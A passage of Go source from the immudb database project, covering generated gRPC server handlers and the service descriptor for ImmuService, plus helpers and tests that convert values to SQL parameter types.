grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Database) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CreateDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CreateDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CreateDatabase(ctx, req.(*Database)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CreateDatabaseWith_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DatabaseSettings) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CreateDatabaseWith(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CreateDatabaseWith", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CreateDatabaseWith(ctx, req.(*DatabaseSettings)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CreateDatabaseV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CreateDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CreateDatabaseV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CreateDatabaseV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CreateDatabaseV2(ctx, req.(*CreateDatabaseRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_LoadDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(LoadDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).LoadDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/LoadDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).LoadDatabase(ctx, req.(*LoadDatabaseRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UnloadDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(UnloadDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UnloadDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UnloadDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UnloadDatabase(ctx, req.(*UnloadDatabaseRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DeleteDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeleteDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).DeleteDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/DeleteDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).DeleteDatabase(ctx, req.(*DeleteDatabaseRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).DatabaseList(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/DatabaseList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseListV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DatabaseListRequestV2) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).DatabaseListV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/DatabaseListV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).DatabaseListV2(ctx, req.(*DatabaseListRequestV2)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UseDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Database) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UseDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UseDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UseDatabase(ctx, req.(*Database)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UpdateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DatabaseSettings) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UpdateDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UpdateDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UpdateDatabase(ctx, req.(*DatabaseSettings)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UpdateDatabaseV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(UpdateDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UpdateDatabaseV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UpdateDatabaseV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UpdateDatabaseV2(ctx, req.(*UpdateDatabaseRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/GetDatabaseSettings", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_GetDatabaseSettingsV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DatabaseSettingsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).GetDatabaseSettingsV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/GetDatabaseSettingsV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).GetDatabaseSettingsV2(ctx, req.(*DatabaseSettingsRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_FlushIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(FlushIndexRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).FlushIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/FlushIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).FlushIndex(ctx, req.(*FlushIndexRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).CompactIndex(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/CompactIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_StreamGet_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(KeyRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).StreamGet(m, &immuServiceStreamGetServer{stream}) } type ImmuService_StreamGetServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceStreamGetServer struct { grpc.ServerStream } func (x *immuServiceStreamGetServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_StreamSet_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(ImmuServiceServer).StreamSet(&immuServiceStreamSetServer{stream}) } type ImmuService_StreamSetServer interface { SendAndClose(*TxHeader) error Recv() (*Chunk, error) grpc.ServerStream } type immuServiceStreamSetServer struct { grpc.ServerStream } func (x *immuServiceStreamSetServer) SendAndClose(m *TxHeader) error { return x.ServerStream.SendMsg(m) } func (x *immuServiceStreamSetServer) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func _ImmuService_StreamVerifiableGet_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(VerifiableGetRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).StreamVerifiableGet(m, &immuServiceStreamVerifiableGetServer{stream}) } type ImmuService_StreamVerifiableGetServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceStreamVerifiableGetServer struct { grpc.ServerStream } func (x *immuServiceStreamVerifiableGetServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_StreamVerifiableSet_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(ImmuServiceServer).StreamVerifiableSet(&immuServiceStreamVerifiableSetServer{stream}) } type ImmuService_StreamVerifiableSetServer interface { SendAndClose(*VerifiableTx) error Recv() (*Chunk, error) grpc.ServerStream } type immuServiceStreamVerifiableSetServer struct { grpc.ServerStream } func (x *immuServiceStreamVerifiableSetServer) SendAndClose(m *VerifiableTx) error { return x.ServerStream.SendMsg(m) } func (x *immuServiceStreamVerifiableSetServer) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func _ImmuService_StreamScan_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(ScanRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).StreamScan(m, &immuServiceStreamScanServer{stream}) } type ImmuService_StreamScanServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceStreamScanServer struct { grpc.ServerStream } func (x *immuServiceStreamScanServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_StreamZScan_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(ZScanRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).StreamZScan(m, &immuServiceStreamZScanServer{stream}) } type ImmuService_StreamZScanServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceStreamZScanServer struct { grpc.ServerStream } func (x *immuServiceStreamZScanServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_StreamHistory_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(HistoryRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).StreamHistory(m, &immuServiceStreamHistoryServer{stream}) } type ImmuService_StreamHistoryServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceStreamHistoryServer struct { grpc.ServerStream } func (x *immuServiceStreamHistoryServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_StreamExecAll_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(ImmuServiceServer).StreamExecAll(&immuServiceStreamExecAllServer{stream}) } type ImmuService_StreamExecAllServer interface { SendAndClose(*TxHeader) error Recv() (*Chunk, error) grpc.ServerStream } type immuServiceStreamExecAllServer struct { grpc.ServerStream } func (x *immuServiceStreamExecAllServer) SendAndClose(m *TxHeader) error { return x.ServerStream.SendMsg(m) } func (x *immuServiceStreamExecAllServer) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func _ImmuService_ExportTx_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(ExportTxRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).ExportTx(m, &immuServiceExportTxServer{stream}) } type ImmuService_ExportTxServer interface { Send(*Chunk) error grpc.ServerStream } type immuServiceExportTxServer struct { grpc.ServerStream } func (x *immuServiceExportTxServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func _ImmuService_ReplicateTx_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(ImmuServiceServer).ReplicateTx(&immuServiceReplicateTxServer{stream}) } type ImmuService_ReplicateTxServer interface { SendAndClose(*TxHeader) error Recv() (*Chunk, error) grpc.ServerStream } type immuServiceReplicateTxServer struct { grpc.ServerStream } func (x *immuServiceReplicateTxServer) SendAndClose(m *TxHeader) error { return x.ServerStream.SendMsg(m) } func (x *immuServiceReplicateTxServer) Recv() (*Chunk, error) { m := new(Chunk) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func _ImmuService_StreamExportTx_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(ImmuServiceServer).StreamExportTx(&immuServiceStreamExportTxServer{stream}) } type ImmuService_StreamExportTxServer interface { Send(*Chunk) error Recv() (*ExportTxRequest, error) grpc.ServerStream } type immuServiceStreamExportTxServer struct { grpc.ServerStream } func (x *immuServiceStreamExportTxServer) Send(m *Chunk) error { return x.ServerStream.SendMsg(m) } func (x *immuServiceStreamExportTxServer) Recv() (*ExportTxRequest, error) { m := new(ExportTxRequest) if err := x.ServerStream.RecvMsg(m); err != nil { return nil, err } return m, nil } func _ImmuService_SQLExec_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SQLExecRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).SQLExec(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/SQLExec", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).SQLExec(ctx, req.(*SQLExecRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_UnarySQLQuery_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SQLQueryRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).UnarySQLQuery(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/UnarySQLQuery", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).UnarySQLQuery(ctx, req.(*SQLQueryRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_SQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(SQLQueryRequest) if err := stream.RecvMsg(m); err != nil { return err } return srv.(ImmuServiceServer).SQLQuery(m, &immuServiceSQLQueryServer{stream}) } type ImmuService_SQLQueryServer interface { Send(*SQLQueryResult) error grpc.ServerStream } type immuServiceSQLQueryServer struct { grpc.ServerStream } func (x *immuServiceSQLQueryServer) Send(m *SQLQueryResult) error { return x.ServerStream.SendMsg(m) } func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).ListTables(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/ListTables", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).ListTables(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DescribeTable_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(Table) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).DescribeTable(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/DescribeTable", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).DescribeTable(ctx, req.(*Table)) } return interceptor(ctx, in, info, handler) } func _ImmuService_VerifiableSQLGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(VerifiableSQLGetRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).VerifiableSQLGet(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/VerifiableSQLGet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).VerifiableSQLGet(ctx, req.(*VerifiableSQLGetRequest)) } return interceptor(ctx, in, info, handler) } func _ImmuService_TruncateDatabase_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(TruncateDatabaseRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ImmuServiceServer).TruncateDatabase(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.schema.ImmuService/TruncateDatabase", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ImmuServiceServer).TruncateDatabase(ctx, req.(*TruncateDatabaseRequest)) } return interceptor(ctx, in, info, handler) } // ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) var ImmuService_ServiceDesc = grpc.ServiceDesc{ ServiceName: "immudb.schema.ImmuService", HandlerType: (*ImmuServiceServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "ListUsers", Handler: _ImmuService_ListUsers_Handler, }, { MethodName: "CreateUser", Handler: _ImmuService_CreateUser_Handler, }, { MethodName: "ChangePassword", Handler: _ImmuService_ChangePassword_Handler, }, { MethodName: "ChangePermission", Handler: _ImmuService_ChangePermission_Handler, }, { MethodName: "ChangeSQLPrivileges", Handler: _ImmuService_ChangeSQLPrivileges_Handler, }, { MethodName: "SetActiveUser", Handler: _ImmuService_SetActiveUser_Handler, }, { MethodName: "UpdateAuthConfig", Handler: _ImmuService_UpdateAuthConfig_Handler, }, { MethodName: "UpdateMTLSConfig", Handler: _ImmuService_UpdateMTLSConfig_Handler, }, { MethodName: "OpenSession", Handler: _ImmuService_OpenSession_Handler, }, { MethodName: "CloseSession", Handler: _ImmuService_CloseSession_Handler, }, { MethodName: "KeepAlive", Handler: _ImmuService_KeepAlive_Handler, }, { MethodName: "NewTx", Handler: _ImmuService_NewTx_Handler, }, { MethodName: "Commit", Handler: _ImmuService_Commit_Handler, }, { MethodName: "Rollback", Handler: _ImmuService_Rollback_Handler, }, { MethodName: "TxSQLExec", Handler: _ImmuService_TxSQLExec_Handler, }, { MethodName: "Login", Handler: _ImmuService_Login_Handler, }, { MethodName: "Logout", Handler: _ImmuService_Logout_Handler, }, { MethodName: "Set", Handler: _ImmuService_Set_Handler, }, { MethodName: "VerifiableSet", Handler: _ImmuService_VerifiableSet_Handler, }, { MethodName: "Get", Handler: _ImmuService_Get_Handler, }, { MethodName: "VerifiableGet", Handler: _ImmuService_VerifiableGet_Handler, }, { MethodName: "Delete", Handler: _ImmuService_Delete_Handler, }, { MethodName: "GetAll", Handler: _ImmuService_GetAll_Handler, }, { MethodName: "ExecAll", Handler: _ImmuService_ExecAll_Handler, }, { MethodName: "Scan", Handler: _ImmuService_Scan_Handler, }, { MethodName: "Count", Handler: _ImmuService_Count_Handler, }, { MethodName: "CountAll", Handler: _ImmuService_CountAll_Handler, }, { MethodName: "TxById", Handler: _ImmuService_TxById_Handler, }, { MethodName: "VerifiableTxById", Handler: _ImmuService_VerifiableTxById_Handler, }, { MethodName: "TxScan", Handler: _ImmuService_TxScan_Handler, }, { MethodName: "History", Handler: _ImmuService_History_Handler, }, { MethodName: "ServerInfo", Handler: _ImmuService_ServerInfo_Handler, }, { MethodName: "Health", Handler: _ImmuService_Health_Handler, }, { MethodName: "DatabaseHealth", Handler: _ImmuService_DatabaseHealth_Handler, }, { MethodName: "CurrentState", Handler: _ImmuService_CurrentState_Handler, }, { MethodName: "SetReference", Handler: _ImmuService_SetReference_Handler, }, { MethodName: "VerifiableSetReference", Handler: _ImmuService_VerifiableSetReference_Handler, }, { MethodName: "ZAdd", Handler: _ImmuService_ZAdd_Handler, }, { MethodName: "VerifiableZAdd", Handler: _ImmuService_VerifiableZAdd_Handler, }, { MethodName: "ZScan", Handler: _ImmuService_ZScan_Handler, }, { MethodName: "CreateDatabase", Handler: _ImmuService_CreateDatabase_Handler, }, { MethodName: "CreateDatabaseWith", Handler: _ImmuService_CreateDatabaseWith_Handler, }, { MethodName: "CreateDatabaseV2", Handler: _ImmuService_CreateDatabaseV2_Handler, }, { MethodName: "LoadDatabase", Handler: _ImmuService_LoadDatabase_Handler, }, { MethodName: "UnloadDatabase", Handler: _ImmuService_UnloadDatabase_Handler, }, { MethodName: "DeleteDatabase", Handler: _ImmuService_DeleteDatabase_Handler, }, { MethodName: "DatabaseList", Handler: _ImmuService_DatabaseList_Handler, }, { MethodName: "DatabaseListV2", Handler: _ImmuService_DatabaseListV2_Handler, }, { MethodName: "UseDatabase", Handler: _ImmuService_UseDatabase_Handler, }, { MethodName: "UpdateDatabase", Handler: _ImmuService_UpdateDatabase_Handler, }, { MethodName: "UpdateDatabaseV2", Handler: _ImmuService_UpdateDatabaseV2_Handler, }, { MethodName: "GetDatabaseSettings", Handler: _ImmuService_GetDatabaseSettings_Handler, }, { MethodName: "GetDatabaseSettingsV2", Handler: _ImmuService_GetDatabaseSettingsV2_Handler, }, { MethodName: "FlushIndex", Handler: _ImmuService_FlushIndex_Handler, }, { MethodName: "CompactIndex", Handler: _ImmuService_CompactIndex_Handler, }, { MethodName: "SQLExec", Handler: _ImmuService_SQLExec_Handler, }, { MethodName: "UnarySQLQuery", Handler: _ImmuService_UnarySQLQuery_Handler, }, { MethodName: "ListTables", Handler: _ImmuService_ListTables_Handler, }, { MethodName: "DescribeTable", Handler: _ImmuService_DescribeTable_Handler, }, { MethodName: "VerifiableSQLGet", Handler: _ImmuService_VerifiableSQLGet_Handler, }, { MethodName: "TruncateDatabase", Handler: _ImmuService_TruncateDatabase_Handler, }, }, Streams: []grpc.StreamDesc{ { StreamName: "TxSQLQuery", Handler: _ImmuService_TxSQLQuery_Handler, ServerStreams: true, }, { StreamName: "streamGet", Handler: _ImmuService_StreamGet_Handler, ServerStreams: true, }, { StreamName: "streamSet", Handler: _ImmuService_StreamSet_Handler, ClientStreams: true, }, { StreamName: "streamVerifiableGet", Handler: _ImmuService_StreamVerifiableGet_Handler, ServerStreams: true, }, { StreamName: "streamVerifiableSet", Handler: _ImmuService_StreamVerifiableSet_Handler, ClientStreams: true, }, { StreamName: "streamScan", Handler: _ImmuService_StreamScan_Handler, ServerStreams: true, }, { StreamName: "streamZScan", Handler: _ImmuService_StreamZScan_Handler, ServerStreams: true, }, { StreamName: "streamHistory", Handler: _ImmuService_StreamHistory_Handler, ServerStreams: true, }, { StreamName: "streamExecAll", Handler: _ImmuService_StreamExecAll_Handler, ClientStreams: true, }, { StreamName: "exportTx", Handler: _ImmuService_ExportTx_Handler, ServerStreams: true, }, { StreamName: "replicateTx", Handler: _ImmuService_ReplicateTx_Handler, ClientStreams: true, }, { StreamName: "streamExportTx", Handler: _ImmuService_StreamExportTx_Handler, ServerStreams: true, ClientStreams: true, }, { StreamName: "SQLQuery", Handler: _ImmuService_SQLQuery_Handler, ServerStreams: true, }, }, Metadata: "schema.proto", } ================================================ FILE: pkg/api/schema/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "time" "github.com/codenotary/immudb/embedded/sql" "github.com/google/uuid" ) func EncodeParams(params map[string]interface{}) ([]*NamedParam, error) { if params == nil { return nil, nil } namedParams := make([]*NamedParam, len(params)) i := 0 for n, v := range params { sqlVal, err := AsSQLValue(v) if err != nil { return nil, err } namedParams[i] = &NamedParam{Name: n, Value: sqlVal} i++ } return namedParams, nil } func NamedParamsFromProto(protoParams []*NamedParam) map[string]interface{} { params := make(map[string]interface{}) for _, p := range protoParams { params[p.Name] = RawValue(p.Value) } return params } func AsSQLValue(v interface{}) (*SQLValue, error) { if v == nil { return &SQLValue{Value: &SQLValue_Null{}}, nil } switch tv := v.(type) { case uint: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case uint8: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case uint16: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case uint32: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case uint64: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case int: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case int8: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case int16: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case int32: { return &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil } case int64: { return &SQLValue{Value: &SQLValue_N{N: tv}}, nil } case string: { return &SQLValue{Value: &SQLValue_S{S: tv}}, nil } case bool: { return &SQLValue{Value: &SQLValue_B{B: tv}}, nil } case []byte: { return &SQLValue{Value: &SQLValue_Bs{Bs: tv}}, nil } case time.Time: { return &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv)}}, nil } case float64: { return &SQLValue{Value: &SQLValue_F{F: tv}}, nil } } return nil, sql.ErrInvalidValue } func TypedValueToRowValue(tv sql.TypedValue) *SQLValue { switch tv.Type() { case sql.IntegerType: { return &SQLValue{Value: &SQLValue_N{N: tv.RawValue().(int64)}} } case sql.VarcharType: { return &SQLValue{Value: &SQLValue_S{S: tv.RawValue().(string)}} } case sql.UUIDType: { u := tv.RawValue().(uuid.UUID) return &SQLValue{Value: &SQLValue_S{S: u.String()}} } case sql.BooleanType: { return &SQLValue{Value: &SQLValue_B{B: tv.RawValue().(bool)}} } case sql.BLOBType: { return &SQLValue{Value: &SQLValue_Bs{Bs: tv.RawValue().([]byte)}} } case sql.TimestampType: { return &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} } case sql.Float64Type: { return &SQLValue{Value: &SQLValue_F{F: tv.RawValue().(float64)}} } case sql.JSONType: return &SQLValue{Value: &SQLValue_S{S: tv.String()}} } return nil } ================================================ FILE: pkg/api/schema/sql_exec_result.go ================================================ package schema // LastInsertedPk returns a map in which the keys are the names of the tables and the values are the primary keys of the last inserted rows. func (er *SQLExecResult) LastInsertedPk() map[string]*SQLValue { if len(er.Txs) > 0 { return er.Txs[len(er.Txs)-1].LastInsertedPKs } return nil } // FirstInsertedPks returns a map in which the keys are the names of the tables and the values are the primary keys of the first inserted rows. func (er *SQLExecResult) FirstInsertedPks() map[string]*SQLValue { if len(er.Txs) > 0 { return er.Txs[0].FirstInsertedPKs } return nil } ================================================ FILE: pkg/api/schema/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "errors" "testing" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/stretchr/testify/require" ) func TestEncodeParams(t *testing.T) { p, err := EncodeParams(nil) require.NoError(t, err) require.Nil(t, p) p, err = EncodeParams(map[string]interface{}{ "param1": 1, }) require.NoError(t, err) require.Len(t, p, 1) require.Equal(t, "param1", p[0].Name) require.EqualValues(t, &SQLValue{Value: &SQLValue_N{N: 1}}, p[0].Value) p, err = EncodeParams(map[string]interface{}{ "param1": struct{}{}, }) require.True(t, errors.Is(err, sql.ErrInvalidValue)) require.Nil(t, p) } func TestAsSQLValue(t *testing.T) { for _, d := range []struct { n string val interface{} sqlVal *SQLValue isErr bool }{ { "nil", nil, &SQLValue{Value: &SQLValue_Null{}}, false, }, { "uint", uint(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false, }, { "uint8", uint8(10), &SQLValue{Value: &SQLValue_N{N: 10}}, 